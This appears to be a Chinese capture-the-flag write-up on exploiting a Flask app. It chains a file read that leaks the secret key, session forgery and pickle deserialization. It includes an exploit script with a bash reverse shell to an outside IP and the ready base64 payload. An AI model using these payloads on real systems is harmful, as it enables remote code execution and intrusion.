(一)背景

前几天与团队成员一起审计复现关于flask框架的反序列化漏洞以及session伪造相关的漏洞。想到了2021年虎符杯线下决赛的这个赛题,也是涉及以上两个漏洞点,故拿出来做个分享与交流。

(二)分析

环境存在任意文件读取漏洞,直接读取/app/source得到如下源码。

审计flask代码需要先看路由以及路由对应的函数代码逻辑比较清晰,/file路由下存在任意文件读取,/admin路由下存在u = pickle.loads(u) pickle反序列化,且代码开头处存在以下一个序列化点。

User = type('User', (object,),

{ 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, })

#!/usr/bin/python3.6

import os

import pickle

from base64 import b64decode

from flask import Flask, request, render_template, session

app = Flask(__name__)

app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {

'uname': 'test',

'is_admin': 0,

'__repr__': lambda o: o.uname,

@app.route('/', methods=('GET',))

def index_handler():

if not session.get('u'):

u = pickle.dumps(User())

session['u'] = u

return "/file?file=index.js"

@app.route('/file', methods=('GET',))

def file_handler():

path = request.args.get('file')

path = os.path.join('static', path)

if not os.path.exists(path) or os.path.isdir(path) \

or '.py' in path or '.sh' in path or '..' in path or "flag" in path:

return 'disallowed'

with open(path, 'r') as fp:

content = fp.read()

return content

@app.route('/admin', methods=('GET',))

def admin_handler():

try:

u = session.get('u')

if isinstance(u, dict):#如果u对应的值是字典,会读取 u.b

u = b64decode(u.get('b'))

u = pickle.loads(u)#pickle反序列化

except Exception:

return 'uhh?'

if u.is_admin == 1:

return 'welcome, admin'

else:

return 'who are you?'

if __name__ == '__main__':

app.run('0.0.0.0', port=80, debug=False)

很明显的一个session伪造加pickle反序列化rce。代码中的secret_key被打码处理,但可以通过任意文件读取从/proc/self/environ 获取环境变量,里面有secret_key,可以拿这个secret_key伪造session。

图为读取到secret_key时应如上所示

在之前的文章中我们提过flask是个轻量级的web框架,其session区别与其他的框架是加密保存在客户端的。所以,只要获取到secret_key即可任意地构造我们所需要的session。

关于session的解释:

在解析 session 的实现之前,我们先介绍一下 session 怎么使用。session 可以看做是在不同的请求之间保存数据的方法,因为 HTTP 是无状态的协议,但是在业务应用上我们希望知道不同请求是否是同一个人发起的。比如购物网站在用户点击进入购物车的时候,服务器需要知道是哪个用户执行了这个操作。对于我们熟悉的其他web环境中,大部分对session操作都是存入服务器本地文件中,用户看到的只是session的名称(一个随机字符串),其内容保存在服务端,这样就做到了用户无法读取到session,这种叫服务端session。

(三)伪造

所以目前阶段已经获取到了反序列化所需的一切条件,只需要构造我们的反弹shell命令,代入以上的User类进行__reduce__反序列化即可。

__reduce__类似于php里面的构造函数魔术方法,在反序列化的时候自动触发。Exp脚本如下:

import pickle

from base64 import b64encode

import os

User = type('User', (object,), {

'uname': 'tyskill',

'is_admin': 0,

'__repr__': lambda o: o.uname,

'__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/123.60.47.130/9999 0>&1'",))

u = pickle.dumps(User())

print(b64encode(u).decode())

执行结果如下所示 得到序列化字符串:

gANjcG9zaXgKc3lzdGVtCnEAWDUAAABiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEyMy42MC40Ny4xMzAvOTk5OSAwPiYxJ3EBhXECUnEDLg==

接下来就是伪造session,这里附上两个非常不错的工具,有需要的小伙伴可以自取!

链接:https://pan.baidu.com/s/1ZYs1wj_1s2Yx6JmweREGRg

密码:5nlt

执行以下命令,构造session:

(四)反弹shell

将生成的新session进行替换,再去访问/admin路由即可。

监听以后,刷新/admin页面即可触发反序列化。

成功反弹shell,flag在/flag目录下。

(五)总结

关于反序列化漏洞一直是红蓝对抗中兵家必争的漏洞点,受限于flask框架的应用以及利用难度,实战中往往java反序列化、php反序列化更多。但漏洞原理以及链条的构造方法从底层逻辑来看都是没有区别的,一通百通。